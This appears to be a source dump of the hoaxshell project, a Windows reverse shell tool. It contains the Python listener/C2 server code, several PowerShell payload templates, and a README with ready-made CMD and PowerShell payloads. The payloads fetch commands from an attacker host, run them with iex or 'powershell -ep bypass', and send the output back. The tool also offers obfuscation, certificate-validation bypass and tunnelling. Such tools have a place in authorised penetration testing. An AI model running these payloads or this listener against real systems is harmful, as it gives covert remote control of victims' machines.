rst_prompt(prompt = prompt) 540 | Hoaxshell.prompt_ready = True 541 | 542 | else: 543 | self.send_response(200) 544 | self.end_headers() 545 | self.wfile.write(b'Move on mate.') 546 | pass 547 | 548 | 549 | 550 | def do_OPTIONS(self): 551 | 552 | self.server_version = Hoaxshell.server_version 553 | self.sys_version = "" 554 | self.send_response(200) 555 | self.send_header('Access-Control-Allow-Origin', self.headers["Origin"]) 556 | self.send_header('Vary', "Origin") 557 | self.send_header('Access-Control-Allow-Credentials', 'true') 558 | self.send_header('Access-Control-Allow-Headers', Hoaxshell.header_id) 559 | self.end_headers() 560 | self.wfile.write(b'OK') 561 | 562 | 563 | def log_message(self, format, *args): 564 | return 565 | 566 | 567 | def dropSession(): 568 | 569 | print(f'\r[{WARN}] Closing session elegantly...') 570 | 571 | if t_process: 572 | t_process.terminate() 573 | 574 | if not args.exec_outfile: 575 | Hoaxshell.command_pool.append('exit') 576 | else: 577 | Hoaxshell.command_pool.append(f'del {args.exec_outfile};exit') 578 | 579 | sleep(frequency + 2.0) 580 | print(f'[{WARN}] Session terminated.') 581 | stop_event.set() 582 | sys.exit(0) 583 | 584 | 585 | def terminate(): 586 | 587 | if Hoaxshell.execution_verified: 588 | Hoaxshell.dropSession() 589 | 590 | else: 591 | if t_process: 592 | t_process.terminate() 593 | print(f'\r[{WARN}] Session terminated.') 594 | stop_event.set() 595 | sys.exit(0) 596 | 597 | 598 | 599 | def main(): 600 | 601 | try: 602 | chill() if quiet else print_banner() 603 | cwd = path.dirname(path.abspath(__file__)) 604 | 605 | # Update utility 606 | if args.update: 607 | 608 | updated = False 609 | 610 | try: 611 | 612 | print(f'[{INFO}] Pulling changes from the master branch...') 613 | u = check_output(f'cd {cwd}&&git pull https://github.com/t3l3machus/hoaxshell main', shell=True).decode('utf-8') 614 | 615 | if re.search('Updating', u): 616 | print(f'[{INFO}] Update completed! Please, restart hoaxshell.') 617 | updated = True 618 | 619 | elif re.search('Already up to date', u): 620 | print(f'[{INFO}] Already running the latest version!') 621 | pass 622 | 623 | else: 624 | print(f'[{FAILED}] Something went wrong. Are you running hoaxshell from your local git repository?') 625 | print(f'[{DEBUG}] Consider running "git pull https://github.com/t3l3machus/hoaxshell main" inside the project\'s directory.') 626 | 627 | except: 628 | print(f'[{FAILED}] Update failed. Consider running "git pull https://github.com/t3l3machus/hoaxshell main" inside the project\'s directory.') 629 | 630 | if updated: 631 | sys.exit(0) 632 | 633 | # Provided options sanity check 634 | if not args.server_ip and args.update and len(sys.argv) == 2 and not (args.localtunnel or args.ngrok): 635 | sys.exit(0) 636 | 637 | if not args.server_ip and args.update and len(sys.argv) > 2 and not (args.localtunnel or args.ngrok): 638 | exit_with_msg('Local host ip or Tunnel not provided (use -s for IP / -lt or -ng for Tunneling)') 639 | 640 | elif not args.server_ip and not args.update and not (args.localtunnel or args.ngrok): 641 | exit_with_msg('Local host ip or Tunnel not provided (use -s for IP / -lt or -ng for Tunneling)') 642 | 643 | else: 644 | if not args.trusted_domain and not (args.localtunnel or args.ngrok): 645 | # Check if provided ip is valid 646 | try: 647 | ip_object = ip_address(args.server_ip) 648 | 649 | except ValueError: 650 | exit_with_msg('IP address is not valid.') 651 | 652 | 653 | # Check provided header name for illegal chars 654 | if args.Header: 655 | valid = ascii_uppercase + ascii_lowercase + '-_' 656 | 657 | for char in args.Header: 658 | if char not in valid: 659 | exit_with_msg('Header name includes illegal characters.') 660 | 661 | 662 | # Check if http/https 663 | if ssl_support: 664 | server_port = int(args.port) if args.port else 443 665 | else: 666 | server_port = int(args.port) if args.port else 8080 667 | 668 | # Server IP 669 | server_ip = f'{args.server_ip}:{server_port}' 670 | 671 | # Tunneling 672 | global t_process 673 | tunneling = False 674 | 675 | if args.localtunnel or args.ngrok: 676 | tunneling = True 677 | t_process = Tunneling(server_port) #will start tunnel process accordingly 678 | 679 | if args.localtunnel: 680 | t_server = t_process.lt_address() 681 | 682 | elif args.ngrok: 683 | t_server = t_process.ngrok_address() 684 | 685 | if not t_server: 686 | exit_with_msg('Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.') 687 | 688 | # Start http server 689 | try: 690 | httpd = HTTPServer(('0.0.0.0', server_port), Hoaxshell) 691 | 692 | except OSError: 693 | exit(f'\n[{FAILED}] - {BOLD}Port {server_port} seems to already be in use.{END}\n') 694 | 695 | if ssl_support: 696 | try: 697 | context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 698 | context.load_cert_chain(certfile = args.certfile, keyfile = args.keyfile) 699 | httpd.socket = context.wrap_socket(sock = httpd.socket, server_side= True) 700 | except FileNotFoundError: 701 | exit_with_msg('Certificate / Key file not found. Check your input and try again.') 702 | 703 | port = f':{server_port}' if server_port != 443 else '' 704 | 705 | Hoaxshell_server = Thread(target = httpd.serve_forever, args = ()) 706 | Hoaxshell_server.daemon = True 707 | Hoaxshell_server.start() 708 | 709 | 710 | # Generate payload 711 | if not args.grab: 712 | print(f'[{INFO}] Generating reverse shell payload...') 713 | 714 | if args.localtunnel: 715 | source = open(f'{cwd}/payload_templates/https_payload_localtunnel.ps1', 'r') if not args.exec_outfile else open('./payload_templates/https_payload_localtunnel_outfile.ps1', 'r') 716 | 717 | elif args.ngrok: 718 | source = open(f'{cwd}/payload_templates/https_payload_ngrok.ps1','r') if not args.exec_outfile else open(f'{cwd}/payload_templates/https_payload_ngrok_outfile.ps1', 'r') 719 | 720 | elif not ssl_support: 721 | source = open(f'{cwd}/payload_templates/http_payload.ps1', 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/http_payload_outfile.ps1', 'r') 722 | 723 | elif ssl_support and args.trusted_domain: 724 | source = open(f'{cwd}/payload_templates/https_payload_trusted.ps1', 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/https_payload_trusted_outfile.ps1', 'r') 725 | 726 | elif ssl_support and not args.trusted_domain: 727 | source = open(f'{cwd}/payload_templates/https_payload.ps1', 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/https_payload_outfile.ps1', 'r') 728 | 729 | payload = source.read().strip() 730 | source.close() 731 | 732 | payload = payload.replace('*SERVERIP*', (t_server if (args.localtunnel or args.ngrok) else server_ip)).replace('*SESSIONID*', Hoaxshell.SESSIONID).replace('*FREQ*', str( 733 | frequency)).replace('*VERIFY*', Hoaxshell.verify).replace('*GETCMD*', Hoaxshell.get_cmd).replace('*POSTRES*', Hoaxshell.post_res).replace('*HOAXID*', Hoaxshell.header_id) 734 | 735 | if args.invoke_restmethod: 736 | payload = payload.replace("Invoke-WebRequest", "Invoke-RestMethod").replace(".Content", "") 737 | 738 | if args.exec_outfile: 739 | payload = payload.replace("*OUTFILE*", args.exec_outfile) 740 | 741 | if args.constraint_mode: 742 | payload = payload.replace("([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')", "($e+$r)") 743 | 744 | if args.obfuscate: 745 | 746 | for var in ['$s', '$i', '$p', '$v']: 747 | 748 | _max = randint(1,5) 749 | obf = str(uuid.uuid4())[0:_max] 750 | 751 | payload = payload.replace(var, f'${obf}') 752 | 753 | if not args.raw_payload: 754 | payload = encodePayload(payload) 755 | 756 | print(f'{PLOAD}{payload}{END}') 757 | 758 | # Copy payload to clipboard 759 | try: 760 | copy2cb(payload) 761 | print(f'{ORANGE}Copied to clipboard!{END}') 762 | except: 763 | pass 764 | 765 | print(f'[{INFO}] Tunneling [{BOLD}{ORANGE}ON{END}]') if tunneling else chill() 766 | 767 | if tunneling: 768 | print(f'[{INFO}] Server Address: {BOLD}{BLUE}{t_server}{END}') 769 | 770 | print(f'[{INFO}] Type "help" to get a list of the available prompt commands.') 771 | print(f'[{INFO}] Https Server started on port {server_port}.') if ssl_support else print(f'[{INFO}] Http Server started on port {server_port}.') 772 | print(f'[{IMPORTANT}] Awaiting payload execution to initiate shell session...') 773 | 774 | else: 775 | print(f'\r[{IMPORTANT}] Attempting to restore session. Listening for hoaxshell traffic...') 776 | 777 | 778 | # Command prompt 779 | while True: 780 | 781 | if Hoaxshell.prompt_ready: 782 | 783 | user_input = input(prompt).strip() 784 | user_input_lower = user_input.lower() 785 | 786 | if user_input_lower == 'help': 787 | promptHelpMsg() 788 | 789 | elif user_input_lower in ['clear', 'cls']: 790 | system('clear') 791 | 792 | elif user_input_lower in ['payload']: 793 | p = encodePayload(payload) 794 | print(f'{PLOAD}{p}{END}') 795 | 796 | elif user_input_lower in ['rawpayload']: 797 | print(f'{PLOAD}{payload}{END}') 798 | 799 | elif user_input_lower == 'cmdinspector': 800 | Session_Defender.is_active = not Session_Defender.is_active 801 | print(f'Session Defender is turned {"off" if not Session_Defender.is_active else "on"}.') 802 | 803 | elif user_input.lower() in ['exit', 'quit', 'q']: 804 | Hoaxshell.terminate() 805 | 806 | elif user_input == '': 807 | rst_prompt(force_rst = True, prompt = '\r') 808 | 809 | else: 810 | 811 | if Hoaxshell.execution_verified and not Hoaxshell.command_pool: 812 | 813 | # Invoke Session Defender to inspect the command for dangerous input 814 | dangerous_input_detected = False 815 | 816 | if Session_Defender.is_active: 817 | dangerous_input_detected = Session_Defender.inspect_command(None, user_input) 818 | 819 | if dangerous_input_detected: 820 | Session_Defender.print_warning() 821 | 822 | else: 823 | if user_input == "pwd": user_input = "split-path $pwd'\\0x00'" 824 | Hoaxshell.command_pool.append(user_input + f";pwd") 825 | Hoaxshell.prompt_ready = False 826 | 827 | elif Hoaxshell.execution_verified and Hoaxshell.command_pool: 828 | pass 829 | 830 | else: 831 | print(f'\r[{INFO}] No active session.') 832 | else: 833 | sleep(0.1) 834 | 835 | 836 | except KeyboardInterrupt: 837 | Hoaxshell.terminate() 838 | 839 | 840 | if __name__ == '__main__': 841 | main() 842 | -------------------------------------------------------------------------------- /payload_templates/http_payload.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/http_payload_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload.ps1: -------------------------------------------------------------------------------- 1 | add-type @" 2 | using System.Net;using System.Security.Cryptography.X509Certificates; 3 | public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( 4 | ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} 5 | "@ 6 | [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy 7 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 8 | -------------------------------------------------------------------------------- /payload_templates/https_payload_localtunnel.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_localtunnel_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_ngrok.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_ngrok_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_outfile.ps1: -------------------------------------------------------------------------------- 1 | add-type @" 2 | using System.Net;using System.Security.Cryptography.X509Certificates; 3 | public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( 4 | ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} 5 | "@ 6 | [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy 7 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 8 | -------------------------------------------------------------------------------- /payload_templates/https_payload_trusted.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_trusted_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | gnureadline 2 | ipython 3 | pyperclip 4 | -------------------------------------------------------------------------------- /revshells/README.md: -------------------------------------------------------------------------------- 1 | # HoaxShell Listener 2 | [![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/) 3 | 4 | 5 | 6 | 7 | 8 | ## Purpose 9 | A standalone version of HoaxShell's listener, mainly created for integration with [RevShells.com](https://revshells.com). 10 | 11 | ## Installation 12 | ``` 13 | pip3 install -r requirements.txt 14 | ``` 15 | **Important**: The `gnureadline` module is not meant for Windows and it will naturally cause an error if you try to install with pip. Remove `gnureadline` from the requirements.txt to install on Windows. 16 | 17 | ## Usage 18 | The standalone listener does not include payload generation functions. It is desighed to work in a simple manner with the only required argument being the payload type to expect (payload types and templates listed below). 19 | 20 | You can run the listener by executing `hoaxshell-listener.py` or directly invoking it from the project's repository: 21 | ``` 22 | # Execute from file 23 | python3 hoaxshell-listener.py -t 24 | 25 | # Invoke from repository 26 | python3 -c "$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshells/hoaxshell-listener.py)" -t -p [-c /your/cert.pem -k /your/key.pem>] 27 | ``` 28 | 29 | The listener is designed to accept any incoming connection bearing a session id in the form of `eb6a44aa-8acc1e56-629ea455`. 30 | You can keep the session id's included in the templates or alter them to different values. 31 | 32 | ## Payload Templates 33 | 1. Start the listener with the `--type [-t]` set to one of the available payload types below: 34 | `cmd-curl | ps-iex | ps-iex-cm | ps-outfile | ps-outfile-cm` 35 | 2. Grab the equivalent template and adjust the IP and PORT values. if you change the default port 8080/443 you need to parse it to the listener with `-p`. 36 | 3. Execute payload on the target machine. 37 | 38 | ### http payloads 39 | 40 | #### cmd-curl 41 | A brand new payload written in pure Windows CMD that utilizes cURL. 42 | ``` 43 | @echo off&cmd /V:ON /C "SET ip=192.168.0.71:8080&&SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"&&SET protocol=http://&&curl !protocol!!ip!/eb6a44aa -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!\cmd.bat & type !temp!\cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!\cmd.bat > !tmp!\out.txt 2>&1) & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!\out.txt > NUL)) & timeout 1" > NUL 44 | ``` 45 | 46 | #### ps-iex 47 | PowerShell payload that utilizes IEX. 48 | ``` 49 | $s='192.168.0.71:8080';$i='14f30f27-650c00d7-fef40df7';$p='http://';$v=IRM -UseBasicParsing -Uri $p$s/14f30f27 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/650c00d7 -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=IEX $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/fef40df7 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8} 50 | ``` 51 | 52 | #### ps-iex-cm 53 | Same as `ps-iex` but will also work if the target system is running on PowerShell Constraint Language Mode. 54 | ``` 55 | $s='192.168.0.71:8080';$i='bf5e666f-5498a73c-34007c82';$p='http://';$v=IRM -UseBasicParsing -Uri $p$s/bf5e666f -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/5498a73c -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=IEX $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/34007c82 -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8} 56 | ``` 57 | 58 | #### ps-outfile 59 | PowerShell payload that writes and executes commands from disc. 60 | ``` 61 | $s='192.168.0.71:8080';$i='add29918-6263f3e6-2f810c1e';$p='http://';$f="C:\Users\$env:USERNAME\.local\hack.ps1";$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/add29918 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/6263f3e6 -Headers @{"Authorization"=$i});if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/2f810c1e -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8} 62 | ``` 63 | 64 | #### ps-outfile-cm 65 | Same as `ps-outfile` but will also work if the target system is running on PowerShell Constraint Language Mode. 66 | ``` 67 | $s='192.168.0.71:8080';$i='e030d4f6-9393dc2a-dd9e00a7';$p='http://';$f="C:\Users\$env:USERNAME\.local\hack.ps1";$v=IRM -UseBasicParsing -Uri $p$s/e030d4f6 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/9393dc2a -Headers @{"Authorization"=$i}); if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/dd9e00a7 -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8} 68 | ``` 69 | 70 | ### https Payloads 71 | You can parse certificate and private-key .pem files to the listener with `-c` and `-k` to start it via https. 72 | To generate self-signed certificates you can use: `openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365` 73 | Find below the payload templates adjusted to use https. 74 | 75 | **For PowerShell payloads**: If you don't supply a trusted certificate to the listener, append this block at the beginning of the payload to disable certificate validation: 76 | ``` 77 | add-type @" 78 | using System.Net;using System.Security.Cryptography.X509Certificates; 79 | public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( 80 | ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} 81 | "@ 82 | [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy 83 | ``` 84 | #### cmd-curl 85 | ``` 86 | @echo off&cmd /V:ON /C "SET ip=192.168.0.71:443&&SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"&&SET protocol=https://&&curl -fs -k !protocol!!ip!/eb6a44aa -H !sid! > NUL & for /L %i in (0) do (curl -fs -k !protocol!!ip!/8acc1e56 -H !sid! > !temp!\cmd.bat & type !temp!\cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!\cmd.bat > !tmp!\out.txt 2>&1) & curl -fs -k !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!\out.txt > NUL)) & timeout 1" > NUL 87 | ``` 88 | 89 | #### ps-iex 90 | ``` 91 | $s='192.168.0.71:443';$i='1cdbb583-f96894ff-f99b8edc';$p='https://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/1cdbb583 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/f96894ff -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/f99b8edc -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8} 92 | ``` 93 | 94 | #### ps-iex-cm 95 | ``` 96 | $s='192.168.0.71:443';$i='11e6bc4b-fefb1eab-68a9612e';$p='https://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/11e6bc4b -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/fefb1eab -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/68a9612e -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8} 97 | ``` 98 | 99 | #### ps-outfile 100 | ``` 101 | $s='192.168.0.71:443';$i='add29918-6263f3e6-2f810c1e';$p='https://';$f="C:\Users\$env:USERNAME\.local\hack.ps1";$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/add29918 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/6263f3e6 -Headers @{"Authorization"=$i});if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/2f810c1e -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8} 102 | ``` 103 | 104 | #### ps-outfile-cm 105 | ``` 106 | $s='192.168.0.71:443';$i='e030d4f6-9393dc2a-dd9e00a7';$p='https://';$f="C:\Users\$env:USERNAME\.local\hack.ps1";$v=IRM -UseBasicParsing -Uri $p$s/e030d4f6 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/9393dc2a -Headers @{"Authorization"=$i}); if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/dd9e00a7 -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8} 107 | ``` 108 | -------------------------------------------------------------------------------- /revshells/hoaxshell-listener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: Panagiotis Chartas (t3l3machus) 4 | # https://github.com/t3l3machus 5 | # 6 | # A standalone version of HoaxShell's listener, mainly created for integration with RevShells.com 7 | 8 | 9 | from http.server import HTTPServer, BaseHTTPRequestHandler 10 | import ssl, sys, argparse, base64, uuid, re 11 | from os import system, path 12 | from warnings import filterwarnings 13 | from datetime import date, datetime 14 | from IPython.display import display 15 | from threading import Thread, Event 16 | from time import sleep 17 | from subprocess import check_output 18 | from string import ascii_uppercase, ascii_lowercase 19 | from platform import system as get_system_type 20 | from random import randint 21 | 22 | filterwarnings("ignore", category = DeprecationWarning) 23 | 24 | if get_system_type() == 'Linux': 25 | import gnureadline as global_readline 26 | else: 27 | import readline as global_readline 28 | 29 | 30 | ''' Colors ''' 31 | MAIN = '\033[38;5;50m' 32 | PLOAD = '\033[38;5;119m' 33 | GREEN = '\033[38;5;47m' 34 | BLUE = '\033[0;38;5;12m' 35 | ORANGE = '\033[0;38;5;214m' 36 | RED = '\033[1;31m' 37 | END = '\033[0m' 38 | BOLD = '\033[1m' 39 | 40 | 41 | ''' MSG Prefixes ''' 42 | INFO = f'{MAIN}Info{END}' 43 | WARN = f'{ORANGE}Warning{END}' 44 | IMPORTANT = WARN = f'{ORANGE}Important{END}' 45 | FAILED = f'{RED}Fail{END}' 46 | DEBUG = f'{ORANGE}Debug{END}' 47 | 48 | 